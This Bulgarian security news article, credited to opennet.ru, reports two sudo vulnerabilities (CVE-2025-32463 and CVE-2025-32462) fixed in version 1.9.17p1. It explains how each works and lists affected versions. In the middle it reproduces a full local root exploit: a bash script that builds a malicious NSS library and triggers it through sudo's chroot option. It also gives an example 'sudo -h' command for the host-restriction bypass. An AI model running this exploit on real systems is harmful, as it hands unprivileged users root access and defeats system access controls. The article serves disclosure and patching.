Уязвимости в утилитата sudo, позволяващи получаване на root права в системата

В пакета sudo, използван за управление на изпълнението на команди от името на други потребители, е открита уязвимост (CVE-2025-32463), която позволява на всеки непривилегирован потребител да изпълнява код с права на root, дори ако потребителят не е споменат в конфигурацията sudoers. Уязвимостта засяга дистрибуции, които използват конфигурационен файл /etc/nsswitch.conf, например, е показана в Ubuntu 24.04 и Fedora 41.

Уязвимостта се проявява в конфигурацията по подразбиране и е потвърдена в версиите на sudo от 1.9.14 до 1.9.17 (потенциално засяга всички версии, започващи от 1.8.33). Проблемът е отстранен в актуализацията на sudo 1.9.17p1. Състоянието на новата версия на пакета или наличието на поправка в дистрибуциите може да се провери на следните страници (ако страница не е достъпна, разработчиците на дистрибуцията все още не са започнали работа по проблема): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).

Проблемата възниква, тъй като при прилагане на опцията «-R» («—chroot») за стартиране на команди в chroot околна среда с избран коренов каталог на потребителя, файлът /etc/nsswitch.conf се зарежда в контекста на новия коренов каталог, а не на системния каталог. Тъй като потребителят може да използва собствен каталог като коренов каталог за chroot, той може да постави там конфигурационен файл nsswitch.conf. Контролирайки зареждания файл от подсистемата NSS (Name Service Switch), потребителят може да добави настройки, водещи до извикване на допълнителни обработвачи. Подобни обработвачи се зареждат от NSS под формата на споделени библиотеки, които също могат да бъдат поставени в контролирания от потребителя каталог. Подменяйки своята библиотека, потребителят може да постигне изпълнение на код с root права, тъй като обработката на NSS се извършва преди отнемането на привилегии.

Пример на експлоит: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c <<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

В версия 1.9.17p1 на sudo също е отстранена още една уязвимост (CVE-2025-32462), която позволява да се изпълняват команди с права root, но се проявява само в конфигурации на sudoers, където параметърът «host» е зададен на стойност, различна от ALL или името на текущия хост. Уязвимостта е причинена от грешка, поради която опцията «-h» («—host») действаше не само в комбинация с опцията «-l» («—list») за извеждане на привилегиите, свързани с хост, но и при изпълнение на команди. По този начин потребителят можеше да зададе при извикването на sudo произволен хост и да заобиколи ограниченията в правилата sudoers, свързани с името на хоста.

За да извърши атаката, потребителят трябва да бъде упоменат в sudoers; например, ако в настройките е указано «testuser testhost = ALL», то потребителят «testuser» можеше да зададе «sudo -h testhost» и да стартира команди с права root на всякакви хостове, а не само на хоста testhost. Уязвимостта не засяга конфигурации с настройки от вида «testuser ALL = ALL» или без явни правила за конкретен потребител.

Източник: opennet.ru